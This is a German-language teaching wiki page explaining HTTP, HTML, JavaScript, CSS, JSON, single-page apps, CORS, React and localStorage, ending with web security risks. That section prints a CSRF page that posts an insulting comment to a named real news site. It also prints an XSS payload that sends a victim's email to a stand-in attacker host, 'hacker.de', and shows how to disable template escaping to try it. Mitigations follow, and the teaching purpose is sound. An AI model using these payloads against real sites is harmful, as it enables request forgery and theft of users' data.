window.alert("Thanks for your email from HACKER"); | |||
} | |||
getProfile(); | |||
</script> | |||
}} | |||
Versuche doch die XSS Attacke mit unserem Webservice Beispiel! Du wirst sehen, Anfangs funktioniert es nicht, da das '''Mustache''' Template, '''HTML/Javascript''' '''escaped''' {{HTMLSL|<html>}} wird zu {{HTMLSL|<html>}}, d.h. es nimmt den Zeichen ihre Bedeutung<ref>https://mustache.github.io/mustache.5.html</ref>. Ändere den Platzhalter von '''{{ }}''', nach '''{{{ }}}''' und '''HTML/Javascript''' wird nicht mehr '''escaped'''. Mit dem '''React Frontend''', wird es wahrscheinlich nicht klappen. | |||
Für unseren Webservice wäre dies hier interessant: | |||
{{JSML|code= | |||
<script> | |||
async function getProfile() { | |||
userResponse = await fetch('/users', { | |||
method: 'GET', | |||
credentials: 'include', | |||
headers: { 'Accept' : 'application/json' } | |||
}); | |||
user = await user.json(); | |||
window.alert("Danke für deine Emailadresse: "+user.email); | |||
} | |||
getProfile(); | |||
</script> | |||
}} | |||
==== Lösung ==== | |||
Eine Möglichkeit diese Sicherheitslücke zu schließen ist ein Filtern der Eingabe des Benutzers, oder ein '''escapen''' von benutzerdefinierten Eingaben, sodass diese nicht als '''HTML''' oder '''Javascript''' vom Browser des Clients interpretiert werden. | |||
=== Weitere Quellen === | |||
<ref>https://de.wikipedia.org/wiki/Cross-Site-Scripting</ref> | |||
<ref>https://www.geeksforgeeks.org/what-is-samesite-cookies-and-csrf-protection/</ref> | |||
<ref>https://de.wikipedia.org/wiki/Cross-Site-Request-Forgery</ref> | |||
Aktuelle Version vom 30. November 2021, 19:06 Uhr
Im folgenden sollen einige gebräuchliche Technologien erläutert werden, welche das World Wide Web ein Stück weit zu dem machen was es heute ist. Auch auf ausgewählte Risiken im Zusammenhang mit Webseiten wird eingegangen.
HTTP Protokoll
Das HyperText Transfer Protocol ist ein Übertragungsprotokoll auf der Anwendungsschicht. Die Übertragung erfolgt über TCP. Das Protokoll ist zustandslos und wurde für die Übertragung von Webseiten entwickelt, kann aber auch für andere Einsatzgebiete verwendet werden.[1]
Aufbau HTTP Request/Response
Der Ablauf beim Nachrichtenaustausch, ist immer wie folgt. Zuerst sendet der Client einen Request (Anfrage), auf diesen erhält dieser eine Response (Antwort).
Request
Der Aufbau eines Requests ist immer wie folgt:
GET /user HTTP/1.1
Host: localhost:3000
- Zeile 1: [HTTP Methode] [Pfad] [HTTP Protokoll Version]
- Zeile 2: der Hostname (Domain und Port des Servers)
In Zeile 2 ist der Hostname einzutragen. Warum ist dies so? Wie bereits erwähnt erfolgen HTTP Requests auf der Anwendungsschicht. D.h. darunter gibt es bereits eine bestehende TCP Verbindung. Diese TCP Verbindung wird zu einem bestimmten Server aufgebaut. Ein Server kann aber mehrere Domains bereitstellen. Deswegen benötigt es hier die Domain und den Port damit der Webserver weiß, welche Webseite zur Verfügung gestellt werden soll.
Weiters kann ein Request Header und einen Body (POST, PUT, PATCH[2]) enthalten. Zu sehen ist der PUT Request zum Verändern des Userprofils bei unserem Webservice Beispiel:
PUT /user/123 HTTP/1.1
Host: localhost:3000
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: de,en-US;q=0.7,en;q=0.3
Connection: keep-alive
Content-Length: 97
Content-Type: application/json
Cookie: ''sehr langer Wert''
{"username":"lukas123","email":"luke@luke.at","password":"","password2":"","oldPassword":"lukas"}
- Zeile 1: [HTTP Methode] [Pfad] [HTTP Protokoll Version]
- Zeile 2: der Hostname (Domain und Port des Servers)
- Zeile 3-9: Header
- Accept - Welchen MIME/Type akzeptiert der Client als Response
- Accept-Encoding - Welche Datenkomprimierung versteht der Client
- Accept-Language - Welche Sprache versteht der Client (in diesem Beispiel irrelevant), mit einer Gewichtung
- Connection - Was soll mit der darunterliegenden TCP Verbindung nach dem Übertragen der Response passieren
- Content-Length - Wie groß sind die Daten die übertragen werden?
- Content-Type - Welche MIME/Type haben die Daten
- Cookie - Das Cookie, das der Server verwendet um den Benutzer zu identifizieren
- Zeile 10: Leere Zeile, trennt den Body vom Header
- Zeile 11: Eigentliche Botschaft die an den Server gesendet wird
Response
Die Response verfügt immer über die HTTP Protokoll Version und einen HTTP Statuscode:
HTTP/1.1 200 OK
- [HTTP Protokoll Version] [HTTP Statuscode] [HTTP Statuscode in Textform]
| Statuscode | Beschreibung |
|---|---|
| 200 OK | Request war erfolgreich |
| 404 Not Found | Ressource wurde nicht gefunden |
| 500 Internal Server Error | Es ist ein interner Serverfehler aufgetreten, der Client hat vermutlich nichts falsch gemacht |
| 400 Bad Request | Der Request ist ungültig und kann nicht beantwortet werden, dies kann z.B.: durch fehlende Parameter hervorgerufen werden. |
| 415 Teapot | Teapot. |
Eine vollständige Liste der Statuscodes findet sich hier: HTTP Statuscodes
Zurück zum Beispiel für unseren Webservice. So sieht die Response (Antwort) des Servers aus:
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://localhost:3001
Connection: keep-alive
Content-Length: 46
Content-Type: application/json; charset=utf-8
Date: Mon, 25 Jan 2021 19:34:59 GMT
ETag: W/"2e-thDoXVZzdsBQYfEzwykwZDAM1to"
Keep-Alive: timeout=5
X-Powered-By: Express
{"email":"luke@luke.at","username":"lukas123"}
- Zeile 1: [HTTP Protokoll Version] [HTTP Statuscode] [HTTP Statuscode in Textform]
- Zeile 2-10: Header
- Access-Control-Allow-Credentials - CORS Header
- Access-Control-Allow-Origin - CORS Header
- Connection - Soll die darunterliegende TCP Verbindung offen bleiben?
- Content-Length - Länge der zu übertragenden Daten
- Content-Type - MIME/Type der zu übertragenden Daten
- Date - Uhrzeit der Übertragung
- ETag - Caching
- Keep-Alive - Wie lange soll die TCP Verbindung bei Untätigkeit geöffnet bleiben
- X-Powered-By - Custom Header, in diesem Fall beschreibt er das verwendete Webservice Framework
- Zeile 11: - Leerzeile, trennt Header vom Body
- Zeile 12: - Eigentliche Botschaft
Methoden
Für nähere Informationen zu gebräuchlichen HTTP Methoden, oder HTTP Verben siehe Einheitliche Schnittstelle. Eine vollständige Liste und die Bedeutung der einzelnen Verben kann hier eingesehen werden.
Zustandslosigkeit
Das HTTP Protokoll ist Zustandslos, das bedeutet, es gibt keinen direkten Zusammenhang zwischen mehreren HTTP Requests. Natürlich kann es einen logischen Zusammenhang zwischen den Requests geben, z.B.: Zuerst muss ein User erstellt werden (POST), dannach kann dieser modifiziert werden (PUT). Deswegen eignet sich das HTTP Protokoll so hervorragend für RESTful Webservices und deswegen wird das hier näher beschrieben: siehe Zustandslosigkeit.
Standardtechnologien für Webseiten
Im folgenden soll kurz auf einige Standardtechnologien von Webseiten eingegangen werden.
HTML
Die HyperText Markup Language, ist eine Auszeichnungssprache zur Bildung der Struktur von Webseiten. Diese bestehen aus verschiedenen ineinander verschachtelten HTML Elementen.[3]
Beispiel
<html>
<head>
<title>
Willkommen
</title>
</head>
<body>
<h1>Willkommen</h1>
<p>Dies ist der eigentliche Inhalt der Webseite</p>
</body>
</html>
Javascript
Die Programmiersprache Javascript hat mittlerweile vielseitige Einsatzgebiete, im Browser sorgt es unter anderem für dynamische Webseiten, im Bereich der Anwendungstechnologien mit z.B.: Node.js für hervorragende, skalierbare und schnelle Webservices.
Untypisiert
Javascript ist eine untypisierte Sprache. Dies bedeutet, die Variablen haben keinen Typ:
//Veränderbare Variable
var value = 10;
//Da nicht typisiert, ist folgendes möglich
value = "hallo";
value = 3.5;
//Nicht veränderbare Variable
const PI = 3.14;
Interpreter-, Scriptsprache
Weiters handelt es sich bei Javascript um eine Interpretersprache, dies bedeutet der Quellcode wird nicht zu ausführbarem Maschinencode kompiliert, welcher direkt vom Betriebssystem ausgeführt werden kann. Um Javascript auszuführen benötigt es einen Interpreter. Mittlerweile hat fast jeder (eigentlich jeder?) Browser einen Javascript Interpreter. Im Anwendungsbereich wie z.B. bei Node.js kommt die Chrome V8 Engine als Interpreter zum Einsatz[4].
Beispiel Funktionen
Beispiele für Funktionen:
//Einfache Funktion
function showDialog(text) {
window.alert(text);
}
showDialog("Wie gehts?");
//Funktionen können auch in Variablen gespeichert werden
let showDialog2 = showDialog;
showDialog2("Hallo");
//Sie können auch inline geschrieben werden
let showDialog3 = (text) => { window.alert(text) };
showDialog3("Sehr gut!");
CSS
Cascading Style Sheets bieten die Möglichkeit, HTML Webseiten anzupassen. Von Schriftart, Textfarbe, Form bis zu Animationen, es gibt endlose Möglichkeiten des Stylings.
Das Styling kann direkt im HTML Element über das style Attribut erfolgen, oder über eine separate Definition. Diese kann sich in einer eigenen .css Datei, oder gesammelt im <head>...</head> des HTML Dokuments befinden.
In CSS können entweder bestehende HTML Elemente gestylt, oder eigene Klassen erstellt werden. Dies geschieht über sogenannte Selektoren. Eine Styledefinition kann auch mehrere Selektoren aufweisen. Folgendes Beispiel setzt die Textfarbe von jedem <h1> Element welches sich in einem <table> Element befindet auf Grün:
<style>
table h1 {
color: green;
}
</style>
Beispiel
<html>
<head>
<style>
h1 {
color: blue;
}
table h1 {
font-size: 40px;
}
.ownClass {
color: yellow;
}
</style>
</head>
<body>
<h1>Willkommen</h1>
<table>
<tr>
<td><h1>Willkommen</h1></td>
</tr>
</table>
<div class="ownClass">Hallo</div>
</body>
</html>
- Zeile 4-6: - Erstellt einen Selektor, welcher bei allen
<h1>Elementen die Textfarbe auf Grün ändert. - Zeile 8-10: - Erstellt einen Selektor, welcher bei allen
<h1>Elementen welche sich innerhalb eines<table>Elements befinden, die Schriftgröße ändert. - Zeile 12-14: - Erstellt einen Klassenselektor, welcher bei allen HTML Elementen welche die die Klasse ownClass besitzen, die Schriftart auf Gelb ändert.
Json
Die Java Script Object Notation ist mittlerweile eines der gebräuchlichsten Datenübertragungsformate im Web und bietet durch seine Einfachheit und den geringen Overhead eine sehr gute Alternative gegenüber XML. Die Datentypen beschränken sich auf:
- Objekt - { ... }
- Array - [ ... ]
- Zeichenkette - "Text"
- Zahl - z.B.: 3.5, 3
- Boolscher Wert - true, false
- Null Wert - null
Beispiel[5]
{
"Herausgeber": "Xema",
"Nummer": "1234-5678-9012-3456",
"Deckung": 2e+6,
"Waehrung": "EURO",
"Inhaber":
{
"Name": "Mustermann",
"Vorname": "Max",
"maennlich": true,
"Hobbys": ["Reiten", "Golfen", "Lesen"],
"Alter": 42,
"Kinder": [],
"Partner": null
}
}
Single Page Application
Im Vergleich zu normalen Webseiten, bestehen Single Page Applications aus lediglich einer HTML Webseite. Veränderung des Inhalts erfolgen über Javascript . Das Document Object Model[6](Aufbau der Webseite) wird über Javascript manipuliert, das heißt es werden HTML Elemente im DOM erzeugt, gelöscht oder verändert. Im folgenden werden wichtige Technologien für SPAs erläutert.
AJAX
Asynchronous Javascript Xml ist bezeichnend für den SPA Ansatz. Requests an den Webservice werden über Javascript ausgeführt, die Daten werden im XML Format übertragen, verarbeitet und dann wird das DOM der Webseite manipuliert. Mittlerweile wird immer seltener XML verwendet, stattdessen kommt Json als Übertragungsformat zum Einsatz, das X in AJAX hat sich jedoch gehalten.
CORS
Grundsätzlich, wenn asynchrone Javascript Requests ausgeführt werden, so dürfen diese nur an den Ursprung gerichtet werden, also den Server von dem aus auch das Javascript an den Browser gesendet wurde, das ist die Same-Origin-Policy. Werden Requests an einen anderen Server gesendet, so wird der Browser die Response nicht an das Javascript weiterleiten, sondern einen Fehler werfen.[7] Ganz vereinfacht gesagt, der Javascript Code der den Request an einen Webservice sendet, muss auch von diesem Webservice stammen, d.h. den selben Ursprung (Origin) haben.
Es ist der selbe Ursprung, wenn Protokoll, Domain und der Port gleich sind.
Wird nun beispielsweise das Frontend, z.B.: React, von einem anderen Ursprung wie dem Webservice geliefert, so muss Cross Origin Ressource Sharing aktiviert werden. Die Aktivierung erfolgt über HTTP Header, welche der Webservice seiner Response hinzufügt. Der Browser analysiert dann diese Header und im Falle eines CORS verstoßes, wird die Response nicht an das Javascript der Webseite weitergeleitet. Der Request ist jedoch trotzdem erfolgt, d.h. am Webserer kann eine Veränderung stattgefunden haben (siehe Sicherheitsrisiken).
| Header | Mögliche Werte | Erklärung |
|---|---|---|
| Access-Control-Allow-Origin | * oder der Ursprung der aufrufenden Seite | Wird die Wildcard * verwendet, so sind Requests von jedem Server möglich. Steht hier die Ursprungsquelle des aufrufenden Javascripts, so handelt es sich um einen Eintrag in einer Whitelist (welche Quellen sind erlaubt, z.B.: localhost:3000, localhost:3001). |
| Access-Control-Allow-Methods | PUT,POST,DELETE,... | Hier wird angegeben welche HTTP Verben erlaubt sind |
| Access-Control-Allow-Credentials | true oder false | Dürfen Cookies übermittelt werden? Dies ist nur in Zusammenhang mit der Whitelist möglich. Bei der Wildcard ist das übermitteln von Cookies nicht erlaubt. Hier sei weiters erwähnt, dass dies nur den Javascript Teil beim Client betrifft. Also darf ein Request wenn dieser Credentials (Cookies, Authroization Headers,...) enthält, an das Javascript weitergeleitet werden. |
Beispiel
In unserem Webservice Beispiel, haben wir diesen AJAX Ansatz beim Löschen von Nachrichten und beim Empfangen neuer Nachrichten implementiert. Anbei der Code zum Löschen (erweitert um das Löschen des HTML elements):
<html>
...
<script>
async function del(id) {
try {
//HTTP delete request
var result = await fetch("/messages/" + id, { method: "DELETE" });
if (result.status != 200) {
window.alert("Nachricht wurde nicht gelöscht...");
} else {
//Element wird aus DOM gelöscht
document.getElementById(id)?.remove();
}
} catch (err) {
window.alert("Löschen fehlgeschlagen...");
}
}
</script>
...
<p id="600ee7bcbeffc91a1aa520a3">
Von: lukas, Mon Jan 25 2021 16:46:04 GMT+0100 (Mitteleuropäische Normalzeit)<br>
Nachricht: asdfasdf<br>
<br>
<button onclick="del('600ee7bcbeffc91a1aa520a3')">Nachricht löschen</button>
</p>
...
</html>
SPA Frameworks
Für den SPA Ansatz gibt es eine vielzahl von Frameworks. Einige sehr populäre Frameworks sind:
- React (Wird eigentlich nur als Bibliothek bezeichnet, da dem Entwickler sehr viel Freiheit in der Umsetzung geboten wird)
- Vue.js
- Angular
Weiters soll hier Flutter erwähnt werden. Dies ist ein Cross Platform Framework, mit dem ebenfalls Webseiten erstellt werden können. Ein großer Unterschied ist, dass bei Flutter keine DOM Manipulation erfolgt, die Webseite wird auf ein Canvas gezeichnet, also gerendert, wie ein Spiel.
Flutter wurde als nativ anfühlende Alternative für iOS und Android Apps gestartet, mittlerweile ist es möglich, Webseiten sowie Desktop Apps für Linux, Windows und MacOS zu erstellen.
React
Das SPA Framework React wurde von Facebook entwickelt. Programmiert wird in Javascript oder Typescript (Javascript mit Typisierung). Das React Framework erstellt aus allen Quelldateien ein optimiertes Javascript Programm inklusive HTML.
Eine React Anwendung besteht aus Komponenten (Components), die ineinander verschachtelt werden können. Eine Objektorientierte Vorgangsweise mit Klassen und Vererbung, wie z.B.: in Java, ist möglich, wird jedoch weitesgehend durch den Einsatz von Functional Components ersetzt.
Veränderung von Komponenten erfolgt über die Veränderung des States. Wird der State verändert, so wird die Komponente neu gerendert. Dies soll an folgendem Beispiel illustriert werden, eine einfache Cookie Clicker Component:
import React, { useState } from 'react';
function CookieClicker(props) {
const [clicked, setClicked] = useState(0);
function buttonClicked() {
setClicked(clicked + 1);
}
function reset() {
setClicked(0);
}
return (
<div>
<button onClick={buttonClicked}>Deine Cookies {clicked}!</button>
<br />
<button onClick={reset}>Cookies löschen!!!</button>
</div>
)
}
export default CookieClicker;
Die Komponente besteht lediglich aus einer Funktion, dieser können optional Properties props (Übergabeparameter) mitgegeben werden. Dies können Beispielsweise Callbacks oder Parameter die für die Initialisierung benötigt werden sein.
Die Funktion hat als Rückgabewert JSX. JSX ist eine Templatesprache, welche es in Komponententen erlaubt Javascript Code und HTML/CSS zu kombinieren. Wird im Template auf Javascript zugegriffen (Zeile 16 und 18), so wird dies in { ... } gefasst. Für die State Variable gibt es keinen getter, hier wird einfach direkt die Variable verwendet (Zeile 16)
Weiters sehen wir im Beispiel (Zeile 4), wie eine State Variable initialisiert wird. Der Funktion useState(...) wird ein Initialwert mitgegeben. Zusätzlich wird der Name der State Variable und ein setter definiert. Wird die State Variable über den setter modifiziert (Zeile 16 und Zeile 18), so erfolgt ein erneutes Rendern der Komponente.
Anwendungsstate speichern
Um den Zustand einer Webseite zu speichern, egal ob traditionell oder SPA, kann die localstorage API[8] des Browsers verwendet werden. Diese Programmierschnittstelle, ermöglicht über Javascript Key Value Pairs wie beim Assoziativen Speicher zu speichern. Im Localstorage kann z.B.: gespeichert werden, in welchem Menüpunkt der Webseite sich der Benutzer zuletzt befunden hat, oder ähnliches. Natürlich könnte dies auch Serverseitig gespeichert werden, doch wenn dies nicht nötig ist, ist es eine gute und effiziente Alternative. Es wird kein Useraccount oder ähnliches benötigt.
Beispiel
Folgende Webseite speichert einfach den Zustand, wie oft sie geöffnet wurde. Dies kann gerne selbst probiert werden:
<html>
<h1 id='title'/>
<script>
var opened = window.localStorage.getItem('openedTimes');
if (!opened) {
opened = 1;
} else {
opened++;
}
document.getElementById('title').innerHTML = "Hallo, du hast die Webseite "+opened+" mal geöffnet";
window.localStorage.setItem('openedTimes', opened);
</script>
</html>
Risiken der Localstorage API
Werte im Localstorage können über Javascript nur von der selben Quelle (Origin) abgerufen werden. Somit kann Javascript nicht auf den Localstorage anderer Webseiten zugreifen. Das klingt schon sehr sicher. Warum sollte man dann die Localstorage API nicht auch zum speichern von Zugangstoken wie z.B dem JWT Token verwenden?
Das Problem liegt darin, dass sämtliches Javascript welches in der Webseite geladen wird, Zugriff auf die Daten im Localstorage hat. Wenn keine 3rd Party Javascript Bibliotheken verwendet werden, ist dies kein Problem. Jedoch ist das Heutzutage in den allermeisten Fällen nicht der Fall. Für alle möglichen Dinge werden Javascript Bibliotheken verwendet, bei Einsatz eines SPA Frameworks/Bibliothek umso mehr. Wäre eine dieser Bibliotheken kompromitiert (enthält Schadcode), so könnte Sie mit Leichtigkeit das Token aus dem Localstorage holen und an einen anderen Server senden.
Sicherheitsrisiken
Im folgenden werden ausgewählte Sicherheitsrisiken im Zusammenhang mit Webseiten erläutert.
CSRF
Cross Site Request Forgery, ist eine Angriffsmethode bei dem die gespeicherten Anmeldedaten des Benutzers verwendet werden, um Requests durchzuführen, die ohne die Zustimmung des Benutzers erfolgen.
Unterschieben der URL
Ist ein Benutzer bei einer Webseite A angemeldet, so wird diese Anmeldeinformation als Cookie im Browser gespeichert. Bei jedem Request an Webseite A wird das Cookie vom Browser mitgesendet, und der Server verwendet es um den Benutzer zu authentifizieren. Das Cookie wird auch mitgesendet wenn die Anfrage nicht von Webseite A selbst, sondern von einer anderen Webseite B stammt. Somit können schadhafte Requests von einer beliebigen Webseite ausgeführt werden, wenn der Server keine CSRF Schutzmechanismen implementiert hat.
Ein auslesen von Daten durch eine bösartige Webseite ist hierbei jedoch nicht möglich. Moderne Browser senden zwar die Anfrage an den Server, die Antwort jedoch, wird durch den Browser nicht an das Javascript der Schadseite weitergeleitet. Der Grund hierfür ist die Same-Site-Policy, oder restriktionen von CORS.
Beispiel
Angenommen der Benutzer ist auf der Webseite https://vol.at angemeldet. Um einen Kommentar für einen Artikel zu erstellen, erfolgt ein POST Request auf https://vol.at/14512/.
Der Angreifer bringt auf irgendeine Weise (z.B.: Phishing Mail) den Benutzer dazu, auf seine eigene Webseite zu navigieren.
Beim Aufruf dieser bösen Webseite kann nun direkt über Javascript ein POST Request auf https://vol.at/14512/ mit einem unangebrachten Kommentar ausgeführt werden. Diese bösartige Webseite könnte wie folgt aussehen:
Sie werden in kürze gehackt.
<script>
async function postComment() {
await fetch('https://vol.at/14512', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' },
body: "comment=Du bist so blöd!",
credentials: 'include'
}
window.alert("You have been hacked by HACKER");
}
postComment();
</script>
Versuche doch, das Unterschieben der URL mit unserem Webservice Beispiel!
Lösungen
Generell verliert diese Art der CSRF Attacke an Bedeutung. Es gibt mehrere Möglichkeiten eine Webseite dagegen abzusichern.
- Same Site Cookie Attribut[9] - Beschränkt das senden von Cookies wenn der Request nicht von der ursprünglichen Webseite, welche auch das Cookie gesendet hat, kommt.
- CSRF Token - Wird ein POST Request gemacht, so muss zuerst ein CSRF Token geholt werden, dieser wird beim POST Request mitgesendet und validiert. Wie bereits erwähnt, können Requests von einer bösartigen Webseite zwar gesendet, die Responses aber nicht verarbeitet werden, dies verhindert der Browser. Somit kann der CSRF Token nicht geholt und dem ungewünschten Request hinzugefügt werden.
XSS
X/Cross Site Scripting, ist eine Variante von CSRF welche ebenfalls erfordert, dass der Benutzer auf einer Webseite angemeldet ist. Die unerwünschten Requests werden jedoch auf einem anderen Weg an den User gebracht. Besteht auf einer Webseite die Möglichkeit für den Benutzer eigenen HTML oder Javascript Code hochzuladen, so können schadhafte Requests bei anderen Benutzern ausgeführt werden. Diese Möglichkeit kann auch durch mangelhafte Absicherung von Benutzereingaben auftreten. Der schadhafte Code wird als Teil der Webseite an den Browser anderere Benutzer gesendet, sämtliche Requests sind hier möglich. Weder ein Same Site Cookie noch ein CSRF Token schaffen hier abhilfe, da die bösartigen Requests von der Seite selbst stammen.
Beispiel
Angenommen sei eine Webseite welche Beiträge von Benutzern über ein Formularfeld entegegen nimmt. Die Beiträge werden beim Abrufen eines Browser folgendermaßen gerendert
<html>
<article>
Nachrichten inhalt
</article>
</html>
Ein Benutzer könnte nun folgende Nachricht verfassen:
Heute hat es aber viel geschneit! Schön!
<script>
async function getProfile() {
var user = await fetch('/profile', {
method: 'GET',
credentials: 'include'
});
fetch('https://hacker.de/stolenemails', {
method: 'POST',
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email: user.email }),
});
window.alert("Thanks for your email from HACKER");
}
getProfile();
</script>
Versuche doch die XSS Attacke mit unserem Webservice Beispiel! Du wirst sehen, Anfangs funktioniert es nicht, da das Mustache Template, HTML/Javascript escaped<html>wird zu<html>, d.h. es nimmt den Zeichen ihre Bedeutung[10]. Ändere den Platzhalter von {{ }}, nach {{{ }}} und HTML/Javascript wird nicht mehr escaped. Mit dem React Frontend, wird es wahrscheinlich nicht klappen.
Für unseren Webservice wäre dies hier interessant:
<script>
async function getProfile() {
userResponse = await fetch('/users', {
method: 'GET',
credentials: 'include',
headers: { 'Accept' : 'application/json' }
});
user = await user.json();
window.alert("Danke für deine Emailadresse: "+user.email);
}
getProfile();
</script>
Lösung
Eine Möglichkeit diese Sicherheitslücke zu schließen ist ein Filtern der Eingabe des Benutzers, oder ein escapen von benutzerdefinierten Eingaben, sodass diese nicht als HTML oder Javascript vom Browser des Clients interpretiert werden.
Weitere Quellen
- ↑ https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol
- ↑ https://specs.openstack.org/openstack/api-wg/guidelines/http/methods.html
- ↑ https://de.wikipedia.org/wiki/Hypertext_Markup_Language
- ↑ https://nodejs.dev/learn/the-v8-javascript-engine
- ↑ https://de.wikipedia.org/wiki/JavaScript_Object_Notation
- ↑ https://de.wikipedia.org/wiki/Document_Object_Model
- ↑ https://de.wikipedia.org/wiki/Same-Origin-Policy
- ↑ https://developer.mozilla.org/de/docs/Web/API/Window/localStorage
- ↑ https://web.dev/samesite-cookies-explained/
- ↑ https://mustache.github.io/mustache.5.html
- ↑ https://de.wikipedia.org/wiki/Cross-Site-Scripting
- ↑ https://www.geeksforgeeks.org/what-is-samesite-cookies-and-csrf-protection/
- ↑ https://de.wikipedia.org/wiki/Cross-Site-Request-Forgery